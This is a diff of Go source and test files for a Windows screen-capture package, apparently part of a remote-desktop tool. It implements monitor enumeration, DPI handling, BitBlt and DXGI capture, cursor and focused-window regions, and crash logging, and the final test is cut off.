dmColor int16
|
||||
dmDuplex int16
|
||||
dmYResolution int16
|
||||
dmTTOption int16
|
||||
dmCollate int16
|
||||
dmFormName [32]uint16
|
||||
dmLogPixels uint16
|
||||
dmBitsPerPel uint32
|
||||
dmPelsWidth uint32
|
||||
dmPelsHeight uint32
|
||||
dmDisplayFlags uint32
|
||||
dmDisplayFrequency uint32
|
||||
dmICMMethod uint32
|
||||
dmICMIntent uint32
|
||||
dmMediaType uint32
|
||||
dmDitherType uint32
|
||||
dmReserved1 uint32
|
||||
dmReserved2 uint32
|
||||
dmPanningWidth uint32
|
||||
dmPanningHeight uint32
|
||||
}
|
||||
|
||||
const (
|
||||
monitorInfofPrimary = 1
|
||||
enumCurrentSettings = 0xFFFFFFFF
|
||||
)
|
||||
|
||||
type monitorDesc struct {
|
||||
name string
|
||||
rect image.Rectangle
|
||||
workRect image.Rectangle
|
||||
primary bool
|
||||
physW int
|
||||
physH int
|
||||
scale float64
|
||||
posX int
|
||||
posY int
|
||||
}
|
||||
|
||||
var (
|
||||
monitorsCache atomic.Value
|
||||
monitorsMu sync.Mutex
|
||||
monitorsTs int64
|
||||
)
|
||||
|
||||
func displayCount() int {
|
||||
setDPIAware()
|
||||
return len(monitorList())
|
||||
}
|
||||
|
||||
func displayBounds(idx int) image.Rectangle {
|
||||
mons := monitorList()
|
||||
if idx >= 0 && idx < len(mons) {
|
||||
return mons[idx].rect
|
||||
}
|
||||
|
||||
if len(mons) > 0 {
|
||||
return mons[0].rect
|
||||
}
|
||||
|
||||
w := int(getSystemMetric(SM_CXSCREEN))
|
||||
h := int(getSystemMetric(SM_CYSCREEN))
|
||||
return image.Rect(0, 0, w, h)
|
||||
}
|
||||
|
||||
func displayScale(idx int) float64 {
|
||||
mons := monitorList()
|
||||
if idx >= 0 && idx < len(mons) {
|
||||
if mons[idx].scale > 0 {
|
||||
return mons[idx].scale
|
||||
}
|
||||
}
|
||||
return 1.0
|
||||
}
|
||||
|
||||
func monitorList() []monitorDesc {
|
||||
setDPIAware()
|
||||
if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second {
|
||||
return v
|
||||
}
|
||||
|
||||
monitorsMu.Lock()
|
||||
defer monitorsMu.Unlock()
|
||||
|
||||
if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second {
|
||||
return v
|
||||
}
|
||||
|
||||
mons := enumerateMonitors()
|
||||
monitorsCache.Store(mons)
|
||||
monitorsTs = time.Now().UnixNano()
|
||||
logMonitors(mons)
|
||||
return mons
|
||||
}
|
||||
|
||||
func ResetMonitorCache() {
|
||||
monitorsMu.Lock()
|
||||
defer monitorsMu.Unlock()
|
||||
monitorsCache.Store([]monitorDesc{})
|
||||
monitorsTs = 0
|
||||
}
|
||||
|
||||
func enumerateMonitors() []monitorDesc {
|
||||
var result []monitorDesc
|
||||
|
||||
cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
|
||||
var mi monitorInfoEx
|
||||
mi.cbSize = uint32(unsafe.Sizeof(mi))
|
||||
if ret, _, _ := procGetMonitorInfoW.Call(hMonitor, uintptr(unsafe.Pointer(&mi))); ret == 0 {
|
||||
return 1
|
||||
}
|
||||
|
||||
name := windows.UTF16ToString(mi.szDevice[:])
|
||||
primary := mi.dwFlags&monitorInfofPrimary != 0
|
||||
|
||||
var dm devMode
|
||||
dm.dmSize = uint16(unsafe.Sizeof(dm))
|
||||
var physW, physH int
|
||||
var scale float64 = 1.0
|
||||
var posX, posY int
|
||||
if ret, _, _ := procEnumDisplaySettingsW.Call(uintptr(unsafe.Pointer(&mi.szDevice[0])), enumCurrentSettings, uintptr(unsafe.Pointer(&dm))); ret != 0 {
|
||||
physW = int(dm.dmPelsWidth)
|
||||
physH = int(dm.dmPelsHeight)
|
||||
posX = int(dm.dmPositionX)
|
||||
posY = int(dm.dmPositionY)
|
||||
vw := int(mi.rcMonitor.right - mi.rcMonitor.left)
|
||||
if vw > 0 {
|
||||
scale = float64(dm.dmPelsWidth) / float64(vw)
|
||||
}
|
||||
}
|
||||
|
||||
r := image.Rect(int(mi.rcMonitor.left), int(mi.rcMonitor.top), int(mi.rcMonitor.right), int(mi.rcMonitor.bottom))
|
||||
w := image.Rect(int(mi.rcWork.left), int(mi.rcWork.top), int(mi.rcWork.right), int(mi.rcWork.bottom))
|
||||
|
||||
result = append(result, monitorDesc{
|
||||
name: name,
|
||||
rect: r,
|
||||
workRect: w,
|
||||
primary: primary,
|
||||
physW: physW,
|
||||
physH: physH,
|
||||
scale: scale,
|
||||
posX: posX,
|
||||
posY: posY,
|
||||
})
|
||||
return 1
|
||||
})
|
||||
|
||||
if ret, _, _ := procEnumDisplayMonitors.Call(0, 0, cb, 0); ret == 0 {
|
||||
|
||||
w := int(getSystemMetric(SM_CXSCREEN))
|
||||
h := int(getSystemMetric(SM_CYSCREEN))
|
||||
return []monitorDesc{{
|
||||
name: "Primary",
|
||||
rect: image.Rect(0, 0, w, h),
|
||||
primary: true,
|
||||
physW: w,
|
||||
physH: h,
|
||||
scale: 1.0,
|
||||
}}
|
||||
}
|
||||
|
||||
sort.Slice(result, func(i, j int) bool {
|
||||
if result[i].primary != result[j].primary {
|
||||
return result[i].primary
|
||||
}
|
||||
oi := deviceOrdinal(result[i].name)
|
||||
oj := deviceOrdinal(result[j].name)
|
||||
if oi >= 0 && oj >= 0 && oi != oj {
|
||||
return oi < oj
|
||||
}
|
||||
if result[i].rect.Min.Y == result[j].rect.Min.Y {
|
||||
return result[i].rect.Min.X < result[j].rect.Min.X
|
||||
}
|
||||
return result[i].rect.Min.Y < result[j].rect.Min.Y
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func deviceOrdinal(name string) int {
|
||||
name = strings.TrimSpace(name)
|
||||
end := len(name)
|
||||
start := end
|
||||
for start > 0 {
|
||||
c := name[start-1]
|
||||
if c < '0' || c > '9' {
|
||||
break
|
||||
}
|
||||
start--
|
||||
}
|
||||
if start == end {
|
||||
return -1
|
||||
}
|
||||
n, err := strconv.Atoi(name[start:end])
|
||||
if err != nil {
|
||||
return -1
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func logMonitors(mons []monitorDesc) {
|
||||
log.Printf("capture: detected %d monitor(s)", len(mons))
|
||||
for i, m := range mons {
|
||||
log.Printf("capture: monitor %d name=%q primary=%v virtual=%v phys=%dx%d scale=%.2f pos=(%d,%d)", i, m.name, m.primary, m.rect, m.physW, m.physH, m.scale, m.posX, m.posY)
|
||||
}
|
||||
}
|
||||
|
||||
func MonitorInfos() []MonitorInfo {
|
||||
mons := monitorList()
|
||||
if len(mons) == 0 {
|
||||
return nil
|
||||
}
|
||||
infos := make([]MonitorInfo, 0, len(mons))
|
||||
for _, m := range mons {
|
||||
w := m.rect.Dx()
|
||||
h := m.rect.Dy()
|
||||
if w < 0 {
|
||||
w = 0
|
||||
}
|
||||
if h < 0 {
|
||||
h = 0
|
||||
}
|
||||
infos = append(infos, MonitorInfo{Width: w, Height: h})
|
||||
}
|
||||
return infos
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package capture
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"time"
|
||||
)
|
||||
|
||||
const crashLogFileName = "crashlogC.log"
|
||||
|
||||
func goSafe(label string, cancel context.CancelFunc, fn func()) {
|
||||
go func() {
|
||||
defer recoverAndLog(label, cancel)
|
||||
fn()
|
||||
}()
|
||||
}
|
||||
|
||||
func recoverAndLog(label string, cancel context.CancelFunc) {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("%s panic: %v", label, r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("[panic] %s (see %s)", reason, path)
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func writeCrashLog(reason string, stack []byte) string {
|
||||
dir := os.TempDir()
|
||||
_ = os.MkdirAll(dir, 0700)
|
||||
path := filepath.Join(dir, crashLogFileName)
|
||||
|
||||
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
log.Printf("[panic] failed to open crash log %s: %v", path, err)
|
||||
return path
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
timestamp := time.Now().UTC().Format(time.RFC3339)
|
||||
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
|
||||
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
|
||||
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
|
||||
if len(stack) > 0 {
|
||||
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
|
||||
}
|
||||
|
||||
return path
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
func ResetDesktopCapture() {}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
func ResetDesktopCapture() {
|
||||
// Prevent freeing the DIB section while a BitBlt capture is in progress.
|
||||
captureMu.Lock()
|
||||
defer captureMu.Unlock()
|
||||
state.reset()
|
||||
dxgiState.reset()
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import "image"
|
||||
|
||||
func cursorROI() (image.Rectangle, bool) {
|
||||
return image.Rectangle{}, false
|
||||
}
|
||||
|
||||
func focusWindowROI() (image.Rectangle, bool) {
|
||||
return image.Rectangle{}, false
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
procGetForegroundWindowROI = user32.NewProc("GetForegroundWindow")
|
||||
procGetWindowRectROI = user32.NewProc("GetWindowRect")
|
||||
)
|
||||
|
||||
type winRect struct {
|
||||
left int32
|
||||
top int32
|
||||
right int32
|
||||
bottom int32
|
||||
}
|
||||
|
||||
func cursorROI() (image.Rectangle, bool) {
|
||||
x, y, visible := getCursorPosition()
|
||||
if !visible {
|
||||
return image.Rectangle{}, false
|
||||
}
|
||||
const cursorBox = 48
|
||||
half := cursorBox / 2
|
||||
r := image.Rect(int(x)-half, int(y)-half, int(x)+half, int(y)+half)
|
||||
if r.Dx() <= 0 || r.Dy() <= 0 {
|
||||
return image.Rectangle{}, false
|
||||
}
|
||||
return r, true
|
||||
}
|
||||
|
||||
func focusWindowROI() (image.Rectangle, bool) {
|
||||
hwnd, _, _ := procGetForegroundWindowROI.Call()
|
||||
if hwnd == 0 {
|
||||
return image.Rectangle{}, false
|
||||
}
|
||||
var wr winRect
|
||||
ret, _, _ := procGetWindowRectROI.Call(hwnd, uintptr(unsafe.Pointer(&wr)))
|
||||
if ret == 0 {
|
||||
return image.Rectangle{}, false
|
||||
}
|
||||
r := image.Rect(int(wr.left), int(wr.top), int(wr.right), int(wr.bottom))
|
||||
if r.Dx() <= 0 || r.Dy() <= 0 {
|
||||
return image.Rectangle{}, false
|
||||
}
|
||||
return r, true
|
||||
}
|
||||
@@ -0,0 +1,477 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
"log"
|
||||
"os"
|
||||
"strconv"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||
shcore = syscall.NewLazyDLL("shcore.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procGetDC = user32.NewProc("GetDC")
|
||||
procReleaseDC = user32.NewProc("ReleaseDC")
|
||||
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||
procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC")
|
||||
procCreateDCW = gdi32.NewProc("CreateDCW")
|
||||
procDeleteDC = gdi32.NewProc("DeleteDC")
|
||||
procCreateCompatibleBitmap = gdi32.NewProc("CreateCompatibleBitmap")
|
||||
procCreateDIBSection = gdi32.NewProc("CreateDIBSection")
|
||||
procDeleteObject = gdi32.NewProc("DeleteObject")
|
||||
procSelectObject = gdi32.NewProc("SelectObject")
|
||||
procBitBlt = gdi32.NewProc("BitBlt")
|
||||
procSetProcessDpiAwareness = shcore.NewProc("SetProcessDpiAwareness")
|
||||
)
|
||||
|
||||
const (
|
||||
SM_CXSCREEN = 0
|
||||
SM_CYSCREEN = 1
|
||||
SM_XVIRTUALSCREEN = 76
|
||||
SM_YVIRTUALSCREEN = 77
|
||||
SM_CXVIRTUALSCREEN = 78
|
||||
SM_CYVIRTUALSCREEN = 79
|
||||
SRCCOPY = 0x00CC0020
|
||||
CAPTUREBLT = 0x40000000
|
||||
BI_RGB = 0
|
||||
DIB_RGB_COLORS = 0
|
||||
PROCESS_PER_MONITOR_DPI_AWARE = 2
|
||||
)
|
||||
|
||||
type bitmapInfoHeader struct {
|
||||
biSize uint32
|
||||
biWidth int32
|
||||
biHeight int32
|
||||
biPlanes uint16
|
||||
biBitCount uint16
|
||||
biCompression uint32
|
||||
biSizeImage uint32
|
||||
biXPelsPerMeter int32
|
||||
biYPelsPerMeter int32
|
||||
biClrUsed uint32
|
||||
biClrImportant uint32
|
||||
}
|
||||
|
||||
type bitmapInfo struct {
|
||||
bmiHeader bitmapInfoHeader
|
||||
redMask uint32
|
||||
greenMask uint32
|
||||
blueMask uint32
|
||||
alphaMask uint32
|
||||
}
|
||||
|
||||
func getSystemMetric(i int32) int32 {
|
||||
r, _, _ := procGetSystemMetrics.Call(uintptr(i))
|
||||
return int32(r)
|
||||
}
|
||||
|
||||
func getDC(hwnd uintptr) uintptr {
|
||||
dc, _, _ := procGetDC.Call(hwnd)
|
||||
return dc
|
||||
}
|
||||
|
||||
func releaseDC(hwnd, hdc uintptr) {
|
||||
_, _, _ = procReleaseDC.Call(hwnd, hdc)
|
||||
}
|
||||
|
||||
func createCompatibleDC(hdc uintptr) uintptr {
|
||||
r, _, _ := procCreateCompatibleDC.Call(hdc)
|
||||
return r
|
||||
}
|
||||
|
||||
func createDisplayDC() uintptr {
|
||||
displayName := syscall.StringToUTF16Ptr("DISPLAY")
|
||||
r, _, _ := procCreateDCW.Call(uintptr(unsafe.Pointer(displayName)), 0, 0, 0)
|
||||
return r
|
||||
}
|
||||
|
||||
func deleteDC(hdc uintptr) {
|
||||
_, _, _ = procDeleteDC.Call(hdc)
|
||||
}
|
||||
|
||||
func createCompatibleBitmap(hdc uintptr, w, h int32) uintptr {
|
||||
r, _, _ := procCreateCompatibleBitmap.Call(hdc, uintptr(w), uintptr(h))
|
||||
return r
|
||||
}
|
||||
|
||||
func createDIBSection(hdc uintptr, bmi *bitmapInfo, usage uint32, bits *unsafe.Pointer) uintptr {
|
||||
r, _, _ := procCreateDIBSection.Call(hdc, uintptr(unsafe.Pointer(bmi)), uintptr(usage), uintptr(unsafe.Pointer(bits)), 0, 0)
|
||||
return r
|
||||
}
|
||||
|
||||
func deleteObject(obj uintptr) {
|
||||
_, _, _ = procDeleteObject.Call(obj)
|
||||
}
|
||||
|
||||
func selectObject(hdc, hgdiobj uintptr) uintptr {
|
||||
r, _, _ := procSelectObject.Call(hdc, hgdiobj)
|
||||
return r
|
||||
}
|
||||
|
||||
func bitBlt(hdcDest uintptr, x, y, cx, cy int32, hdcSrc uintptr, x1, y1 int32, rop uint32) bool {
|
||||
r, _, _ := procBitBlt.Call(hdcDest, uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), hdcSrc, uintptr(x1), uintptr(y1), uintptr(rop))
|
||||
return r != 0
|
||||
}
|
||||
|
||||
func bitBltWithFallback(hdcMem, hdcScreen uintptr, bounds image.Rectangle, w, h int) bool {
|
||||
if bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY|CAPTUREBLT) {
|
||||
return true
|
||||
}
|
||||
return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY)
|
||||
}
|
||||
|
||||
var dpiAwareOnce sync.Once
|
||||
|
||||
func setDPIAware() {
|
||||
dpiAwareOnce.Do(func() {
|
||||
|
||||
if procSetProcessDpiAwareness.Find() == nil {
|
||||
procSetProcessDpiAwareness.Call(uintptr(PROCESS_PER_MONITOR_DPI_AWARE))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
var (
|
||||
captureCount atomic.Int64
|
||||
bitbltNs atomic.Int64
|
||||
convertNs atomic.Int64
|
||||
lastCaptureLogNs atomic.Int64
|
||||
scaleOnce sync.Once
|
||||
cachedScale float64
|
||||
state capState
|
||||
captureMu sync.Mutex
|
||||
)
|
||||
|
||||
var captureDisplayFn = func(display int) (*image.RGBA, error) {
|
||||
if useDesktopDuplication() {
|
||||
img, err := captureDisplayDXGI(display)
|
||||
if err == nil && img != nil {
|
||||
return img, nil
|
||||
}
|
||||
if err != nil {
|
||||
log.Printf("capture: dxgi duplication failed: %v (falling back to bitblt)", err)
|
||||
}
|
||||
}
|
||||
return captureDisplayBitBlt(display)
|
||||
}
|
||||
|
||||
func captureDisplayBitBlt(display int) (*image.RGBA, error) {
|
||||
|
||||
captureMu.Lock()
|
||||
defer captureMu.Unlock()
|
||||
|
||||
setDPIAware()
|
||||
|
||||
maxDisplays := displayCount()
|
||||
if display < 0 || display >= maxDisplays {
|
||||
display = 0
|
||||
}
|
||||
|
||||
mons := monitorList()
|
||||
if display >= len(mons) {
|
||||
display = 0
|
||||
}
|
||||
mon := mons[display]
|
||||
|
||||
bounds := resolveBounds(mon)
|
||||
srcW := bounds.Dx()
|
||||
srcH := bounds.Dy()
|
||||
if srcW <= 0 || srcH <= 0 {
|
||||
ResetMonitorCache()
|
||||
mons = monitorList()
|
||||
if display >= len(mons) {
|
||||
display = 0
|
||||
}
|
||||
if display < len(mons) {
|
||||
mon = mons[display]
|
||||
bounds = resolveBounds(mon)
|
||||
srcW = bounds.Dx()
|
||||
srcH = bounds.Dy()
|
||||
}
|
||||
if srcW <= 0 || srcH <= 0 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
}
|
||||
|
||||
userScale := captureScale()
|
||||
dstW := int(float64(srcW) * userScale)
|
||||
dstH := int(float64(srcH) * userScale)
|
||||
if dstW <= 0 || dstH <= 0 {
|
||||
dstW = srcW
|
||||
dstH = srcH
|
||||
}
|
||||
|
||||
capW := srcW
|
||||
capH := srcH
|
||||
|
||||
hdcScreen := createDisplayDC()
|
||||
fromCreateDC := hdcScreen != 0
|
||||
if hdcScreen == 0 {
|
||||
hdcScreen = getDC(0)
|
||||
}
|
||||
if hdcScreen == 0 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
closeDC := func() {
|
||||
if hdcScreen == 0 {
|
||||
return
|
||||
}
|
||||
if fromCreateDC {
|
||||
deleteDC(hdcScreen)
|
||||
} else {
|
||||
releaseDC(0, hdcScreen)
|
||||
}
|
||||
hdcScreen = 0
|
||||
}
|
||||
defer closeDC()
|
||||
|
||||
if capW <= 0 || capH <= 0 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
|
||||
captureWithDC := func() (*image.RGBA, time.Duration, time.Duration, time.Duration, error) {
|
||||
hdcMem, _, buf, stride, err := state.ensure(hdcScreen, capW, capH)
|
||||
if err != nil {
|
||||
return nil, 0, 0, 0, err
|
||||
}
|
||||
|
||||
bitStart := time.Now()
|
||||
if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) {
|
||||
state.reset()
|
||||
hdcMem, _, buf, stride, err = state.ensure(hdcScreen, capW, capH)
|
||||
if err != nil {
|
||||
return nil, 0, 0, 0, err
|
||||
}
|
||||
if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) {
|
||||
return nil, 0, 0, 0, syscall.EINVAL
|
||||
}
|
||||
}
|
||||
bitDur := time.Since(bitStart)
|
||||
cursorDrawn := DrawCursorOnDC(hdcMem, bounds)
|
||||
|
||||
if len(buf) == 0 {
|
||||
return nil, 0, 0, 0, syscall.EINVAL
|
||||
}
|
||||
|
||||
dibDur := time.Duration(0)
|
||||
|
||||
convStart := time.Now()
|
||||
swapRB(buf)
|
||||
img := &image.RGBA{Pix: buf, Stride: stride, Rect: image.Rect(0, 0, capW, capH)}
|
||||
convDur := time.Since(convStart)
|
||||
|
||||
if !cursorDrawn {
|
||||
DrawCursorOnImage(img, bounds)
|
||||
}
|
||||
if dstW != capW || dstH != capH {
|
||||
img = resizeNearest(img, dstW, dstH)
|
||||
} else {
|
||||
// Detach from the reusable DIB buffer to avoid concurrent mutation during encode.
|
||||
stable := image.NewRGBA(img.Rect)
|
||||
copy(stable.Pix, img.Pix)
|
||||
img = stable
|
||||
}
|
||||
|
||||
return img, bitDur, dibDur, convDur, nil
|
||||
}
|
||||
|
||||
img, bitDur, dibDur, convDur, err := captureWithDC()
|
||||
if err != nil && fromCreateDC {
|
||||
closeDC()
|
||||
hdcScreen = getDC(0)
|
||||
fromCreateDC = false
|
||||
if hdcScreen == 0 {
|
||||
return nil, err
|
||||
}
|
||||
img, bitDur, dibDur, convDur, err = captureWithDC()
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
logCaptureTimings(bitDur, dibDur, convDur)
|
||||
return img, nil
|
||||
}
|
||||
|
||||
func clampToVirtual(bounds image.Rectangle) image.Rectangle {
|
||||
vx := int(getSystemMetric(SM_XVIRTUALSCREEN))
|
||||
vy := int(getSystemMetric(SM_YVIRTUALSCREEN))
|
||||
vw := int(getSystemMetric(SM_CXVIRTUALSCREEN))
|
||||
vh := int(getSystemMetric(SM_CYVIRTUALSCREEN))
|
||||
if vw <= 0 || vh <= 0 {
|
||||
return bounds
|
||||
}
|
||||
virtual := image.Rect(vx, vy, vx+vw, vy+vh)
|
||||
inter := bounds.Intersect(virtual)
|
||||
if inter.Empty() {
|
||||
return bounds
|
||||
}
|
||||
return inter
|
||||
}
|
||||
|
||||
func resolveBounds(mon monitorDesc) image.Rectangle {
|
||||
virtualW := int(getSystemMetric(SM_CXVIRTUALSCREEN))
|
||||
virtualH := int(getSystemMetric(SM_CYVIRTUALSCREEN))
|
||||
if virtualW > 0 && virtualH > 0 {
|
||||
return clampToVirtual(mon.rect)
|
||||
}
|
||||
return captureBounds(mon)
|
||||
}
|
||||
|
||||
func captureBounds(mon monitorDesc) image.Rectangle {
|
||||
bounds := mon.rect
|
||||
if mon.physW > 0 && mon.physH > 0 {
|
||||
phys := image.Rect(mon.posX, mon.posY, mon.posX+mon.physW, mon.posY+mon.physH)
|
||||
if phys.Dx() > 0 && phys.Dy() > 0 {
|
||||
if mon.scale != 1.0 || phys.Dx() != bounds.Dx() || phys.Dy() != bounds.Dy() {
|
||||
bounds = phys
|
||||
}
|
||||
}
|
||||
}
|
||||
return bounds
|
||||
}
|
||||
|
||||
func swapRB(pix []byte) {
|
||||
for i := 0; i+3 < len(pix); i += 4 {
|
||||
pix[i], pix[i+2] = pix[i+2], pix[i]
|
||||
}
|
||||
}
|
||||
|
||||
func logCaptureTimings(bitDur, dibDur, convDur time.Duration) {
|
||||
captureCount.Add(1)
|
||||
bitbltNs.Add(bitDur.Nanoseconds())
|
||||
convertNs.Add(convDur.Nanoseconds())
|
||||
|
||||
nowNs := time.Now().UnixNano()
|
||||
last := lastCaptureLogNs.Load()
|
||||
if last != 0 && time.Duration(nowNs-last) < 5*time.Second {
|
||||
return
|
||||
}
|
||||
if !lastCaptureLogNs.CompareAndSwap(last, nowNs) {
|
||||
return
|
||||
}
|
||||
frames := captureCount.Swap(0)
|
||||
if frames == 0 {
|
||||
return
|
||||
}
|
||||
avg := func(totalNs atomic.Int64) float64 {
|
||||
return float64(totalNs.Swap(0)) / 1e6 / float64(frames)
|
||||
}
|
||||
bitAvg := avg(bitbltNs)
|
||||
convAvg := avg(convertNs)
|
||||
log.Printf("capture: win bitblt avg bitblt=%.2fms convert=%.2fms frames=%d", bitAvg, convAvg, frames)
|
||||
}
|
||||
|
||||
func resizeNearest(src *image.RGBA, w, h int) *image.RGBA {
|
||||
dst := image.NewRGBA(image.Rect(0, 0, w, h))
|
||||
srcW := src.Bounds().Dx()
|
||||
srcH := src.Bounds().Dy()
|
||||
for y := 0; y < h; y++ {
|
||||
sy := y * srcH / h
|
||||
sp := sy * src.Stride
|
||||
dp := y * dst.Stride
|
||||
for x := 0; x < w; x++ {
|
||||
sx := x * srcW / w
|
||||
s := sp + sx*4
|
||||
d := dp + x*4
|
||||
dst.Pix[d+0] = src.Pix[s+0]
|
||||
dst.Pix[d+1] = src.Pix[s+1]
|
||||
dst.Pix[d+2] = src.Pix[s+2]
|
||||
dst.Pix[d+3] = src.Pix[s+3]
|
||||
}
|
||||
}
|
||||
return dst
|
||||
}
|
||||
|
||||
type capState struct {
|
||||
mu sync.Mutex
|
||||
hdcMem uintptr
|
||||
hbmp uintptr
|
||||
buf []byte
|
||||
stride int
|
||||
w int
|
||||
h int
|
||||
bits unsafe.Pointer
|
||||
}
|
||||
|
||||
func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte, int, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.hdcMem == 0 {
|
||||
s.hdcMem = createCompatibleDC(hdcScreen)
|
||||
if s.hdcMem == 0 {
|
||||
return 0, 0, nil, 0, syscall.EINVAL
|
||||
}
|
||||
}
|
||||
|
||||
if s.w != w || s.h != h || s.hbmp == 0 {
|
||||
bmi := bitmapInfo{
|
||||
bmiHeader: bitmapInfoHeader{
|
||||
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||
biWidth: int32(w),
|
||||
biHeight: -int32(h),
|
||||
biPlanes: 1,
|
||||
biBitCount: 32,
|
||||
biCompression: BI_RGB,
|
||||
},
|
||||
}
|
||||
var bits unsafe.Pointer
|
||||
newBmp := createDIBSection(s.hdcMem, &bmi, DIB_RGB_COLORS, &bits)
|
||||
if newBmp == 0 || bits == nil {
|
||||
return 0, 0, nil, 0, syscall.EINVAL
|
||||
}
|
||||
selectObject(s.hdcMem, newBmp)
|
||||
if s.hbmp != 0 {
|
||||
deleteObject(s.hbmp)
|
||||
}
|
||||
s.hbmp = newBmp
|
||||
s.w = w
|
||||
s.h = h
|
||||
s.stride = w * 4
|
||||
s.bits = bits
|
||||
s.buf = unsafe.Slice((*byte)(bits), s.stride*h)
|
||||
}
|
||||
|
||||
return s.hdcMem, s.hbmp, s.buf, s.stride, nil
|
||||
}
|
||||
|
||||
func (s *capState) reset() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if s.hbmp != 0 {
|
||||
deleteObject(s.hbmp)
|
||||
s.hbmp = 0
|
||||
}
|
||||
if s.hdcMem != 0 {
|
||||
deleteDC(s.hdcMem)
|
||||
s.hdcMem = 0
|
||||
}
|
||||
s.buf = nil
|
||||
s.stride = 0
|
||||
s.w = 0
|
||||
s.h = 0
|
||||
s.bits = nil
|
||||
}
|
||||
|
||||
func captureScale() float64 {
|
||||
scaleOnce.Do(func() {
|
||||
s := 1.0
|
||||
if env := os.Getenv("OVERLORD_RD_SCALE"); env != "" {
|
||||
if v, err := strconv.ParseFloat(env, 64); err == nil && v > 0.2 && v <= 1.5 {
|
||||
s = v
|
||||
}
|
||||
}
|
||||
cachedScale = s
|
||||
})
|
||||
return cachedScale
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,62 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDesktopDuplicationToggleResetsState(t *testing.T) {
|
||||
dxgiState.mu.Lock()
|
||||
dxgiState.display = 0
|
||||
dxgiState.outputName = "test-output"
|
||||
dxgiState.bounds = image.Rect(1, 2, 3, 4)
|
||||
dxgiState.mu.Unlock()
|
||||
|
||||
SetDesktopDuplication(true)
|
||||
if !useDesktopDuplication() {
|
||||
t.Fatalf("expected desktop duplication to be enabled")
|
||||
}
|
||||
|
||||
dxgiState.mu.Lock()
|
||||
if dxgiState.display != -1 {
|
||||
dxgiState.mu.Unlock()
|
||||
t.Fatalf("expected display reset to -1, got %d", dxgiState.display)
|
||||
}
|
||||
if dxgiState.outputName != "" {
|
||||
dxgiState.mu.Unlock()
|
||||
t.Fatalf("expected outputName reset, got %q", dxgiState.outputName)
|
||||
}
|
||||
if dxgiState.bounds != (image.Rectangle{}) {
|
||||
dxgiState.mu.Unlock()
|
||||
t.Fatalf("expected bounds reset, got %+v", dxgiState.bounds)
|
||||
}
|
||||
dxgiState.mu.Unlock()
|
||||
|
||||
SetDesktopDuplication(false)
|
||||
if useDesktopDuplication() {
|
||||
t.Fatalf("expected desktop duplication to be disabled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCaptureDisplayDXGI(t *testing.T) {
|
||||
if displayCount() == 0 {
|
||||
t.Skip("no displays detected")
|
||||
}
|
||||
|
||||
SetDesktopDuplication(true)
|
||||
t.Cleanup(func() { SetDesktopDuplication(false) })
|
||||
|
||||
